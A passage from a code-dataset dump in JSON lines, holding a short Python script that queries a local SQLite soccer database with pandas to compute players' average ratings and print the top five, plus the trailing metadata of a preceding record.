filename)","repo_name":"suyojman/Sentiment_survey","sub_path":"sentiment/spiders/sentiment_spider.py","file_name":"sentiment_spider.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26649065043","text":"from sqlalchemy import create_engine\nimport pandas as pd\n\nengine = create_engine('sqlite:///database.sqlite')\n\ndf = pd.read_sql_query(\"SELECT * FROM Player_Attributes as a \\\nINNER JOIN (SELECT player_name, player_api_id FROM Player) \\\nas b ON a.player_api_id = b.player_api_id\", engine)\n\ndf1 = df[['player_name', 'overall_rating']]\nlist_name, list_rating = df1.values.transpose()\n#print(list_rating)\n\nd = {}\nd_rating = {}\nfor name, rating in zip(list_name, list_rating):\n d.setdefault(name, []).append(rating)\n\nfor key in d:\n #print (key, sum(d[key])/len(d[key]))\n d_rating[key] = sum(d[key])/len(d[key])\n\n\ns = pd.Series(d_rating, name = 'overall_rating')\ns.index.name = 'Name'\ns.reset_index()\ns = s.sort_values(ascending=False)\nprint(s.head(n=5))\n","repo_name":"keyanyang/blogs","sub_path":"euro_soccer_players/top5.py","file_name":"top5.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"}